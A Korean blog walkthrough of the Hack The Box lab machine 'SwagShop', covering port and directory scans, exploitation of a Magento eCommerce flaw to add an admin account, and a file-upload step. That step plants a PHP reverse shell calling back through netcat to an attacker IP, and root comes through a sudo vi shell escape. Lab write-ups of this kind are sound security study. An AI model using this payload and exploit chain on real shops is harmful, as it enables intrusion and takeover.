일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 멀티컨트롤오류
- 플라스크 애플리케이션 팩토리
- 파이썬
- tuple
- 리버싱
- L
- flask
- pe구조
- flask blueprint
- 클립보드간공유기능
- 오블완
- 삼성노트동기화오류
- 플라스크
- AQ
- portswigger
- flask 구조
- NMAP
- 레나튜토리얼.
- 리버스 엔지니어링
- 리버스엔지니어링
- set
- Python
- 포트스캐너
- flask설치
- 삼성클라우드오류
- 티스토리챌린지
- 숫자분리
- 레나튜토리얼
- Today
- Total
정보보안
SwagShop 본문
1. nmap
$ nmap -T5 -p- -Pn -n --open --max-retries 2 10.129.67.137 -sV -sC -oA fullscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 10:34 KST
Nmap scan report for 10.129.67.137
Host is up (0.097s latency).
Not shown: 45970 filtered tcp ports (no-response), 19563 closed tcp ports (conn-refused)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://swagshop.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. gobuster
$ gobuster dir -u http://10.129.67.137 -w /usr/share/wordlists/dirb/common.txt -o common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.67.137
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/09/04 10:37:55 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 292]
/.htaccess (Status: 403) [Size: 297]
/.htpasswd (Status: 403) [Size: 297]
/app (Status: 301) [Size: 312] [--> http://10.129.67.137/app/]
/errors (Status: 301) [Size: 315] [--> http://10.129.67.137/errors/]
/favicon.ico (Status: 200) [Size: 1150]
/includes (Status: 301) [Size: 317] [--> http://10.129.67.137/includes/]
/index.php (Status: 302) [Size: 0] [--> http://swagshop.htb/]
/js (Status: 301) [Size: 311] [--> http://10.129.67.137/js/]
/lib (Status: 301) [Size: 312] [--> http://10.129.67.137/lib/]
/media (Status: 301) [Size: 314] [--> http://10.129.67.137/media/]
/pkginfo (Status: 301) [Size: 316] [--> http://10.129.67.137/pkginfo/]
/server-status (Status: 403) [Size: 301]
/shell (Status: 301) [Size: 314] [--> http://10.129.67.137/shell/]
/skin (Status: 301) [Size: 313] [--> http://10.129.67.137/skin/]
/var (Status: 301) [Size: 312] [--> http://10.129.67.137/var/]
Progress: 4602 / 4615 (99.72%)
===============================================================
2023/09/04 10:39:01 Finished
===============================================================
/mage : PHP5를 사용하는 것을 확인할 수 있었음
shell: 이름이 수상하다.
/var/session: session을 저장해둔다. 9월 6일은 모두 내 것일테니 패스하고,
6월 29일 거만 확인하면 될 거 같다. --> 하지만 안 됨
3. Magento
gobuster 스캔 결과로 나온 path를 하나씩 접근해보다가 Mage_All_Latest.txt라는 것을 발견함.
Mage_All.txt와는 약간 패키지가 다르다. 이것도 힌트일까? --> 아니!
MAGENTO라는 게 여기 도메인 이름인 줄로만 알았는데 무슨 애플리케이션인가보다 싶어서 searchsploit을 진행.
$ searchsploit magento
------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------ ---------------------------------
eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection | php/webapps/38573.txt
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service) | php/webapps/38651.txt
Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scripting | php/webapps/32808.txt
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site Scripting | php/webapps/32809.txt
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting | php/webapps/32810.txt
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File | php/webapps/39838.php
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | php/webapps/37811.py
Magento eCommerce - Local File Disclosure | php/webapps/19793.txt
Magento eCommerce - Remote Code Execution | xml/webapps/37977.py
Magento eCommerce CE v2.3.5-p2 - Blind SQLi | php/webapps/50896.txt
Magento Server MAGMI Plugin - Multiple Vulnerabilities | php/webapps/35996.txt
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion | php/webapps/35052.txt
Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass | php/webapps/48135.php
------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
버전만 확인되면 될 것 같다.
그러다 갑자기 생각난 게 있었다.
burp에서 서버 응답 값 확인하다가 E-commerce라는 단어를 봤던 거 같아 확인해보니 맞았다.
Magento eCommerce RCE가 가능하겠다.
CVE-2015-1397 (37977.py)
스크립트 수정이 필요하다.
1. target에는 대상 url을 적어준다. !!!주의!!! 뒤에 index.php를 붙여주어야 함 // 한참 맴
2. query의 username과 password에 원하는 id:pw를 적어준다. 원한다면
스크립트를 실행해주자 WORKED가 출력됐다.
jujjing:jujjing으로 admin 권한의 계정이 생성된 것이다.
출력된 경로로 이동하면 admin page가 등장한다.
생성된 계정으로 로그인을 시도한다.
관리자페이지 로그인에 성공했다.
RCE via File Upload
magento의 취약점 중 하나인 File Upload를 통해 RCE를 진행한다.
우선 업로드 파일을 실행하기 위해 Allow Symlinks 설정을 Yes로 변경한다.
이후 php RCE 파일을 하나 만든다.
$ echo '<?php'
$ echo 'passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 4444>/tmp/f");' >> shell.php.png>> shell.php.png
$ echo '?>' >> shell.php.png
$ cat shell.php.png
<?php
passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 10.10.14.25 4444>/tmp/f");
?>
Catalog -> Manage Categories -> Add Root Category에 생성한 php 파일을 업로드한 후 저장한다.
이제 파일 실행을 위해 Newsletter -> Add New Template에 접속한다.
기본으로 로드되었던 {{var subscriber.getUnsubscriptionLink()}} 구문을 빼고 대신에 아까 올린 php 파일을 불러오도록 하는 템플릿 태그를 작성한다. 이후 Preview Template를 클릭하여 실행한다.
{{block type='core/template' template='../../../../../../media/catalog/category/shell.php.png}}
쉘을 획득하였다.
python3 -c 'import pty; pty.spawn("/bin/bash")'로 bash로 변경해준다.
다행히 www-data로도 haris의 user.txt를 가져올 수 있다.
Privilege Escalation
sudo -l으로 현재 user의 sudo 권한을 확인하고 어떤 명령을 수행할 수 있는지 확인한다.
root 권한으로 /usr/bin/vi /var/www/html/*명령을 실행할 수 있음을 확인했다.
www-data@swagshop:/var/www/html$ sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
따라서 root권한으로 /var/www/html/index.php를 연 후에 :!/bin/bash을 통해 vim 편집기를 빠져나와 셸을 실행하는 시나리오를 수행한다.
www-data@swagshop:/tmp$ sudo /usr/bin/vi /var/www/html/index.php
:!/bin/bash
root@swagshop:/tmp# cat /root/root.txt
1c6d9b51a04...
'HTB > Linux' 카테고리의 다른 글
Poison (0) | 2023.09.11 |
---|---|
Networked (0) | 2023.09.10 |
SolidState (0) | 2023.09.05 |
Valentine(heartbleed) (0) | 2023.09.03 |
Sense (0) | 2023.09.01 |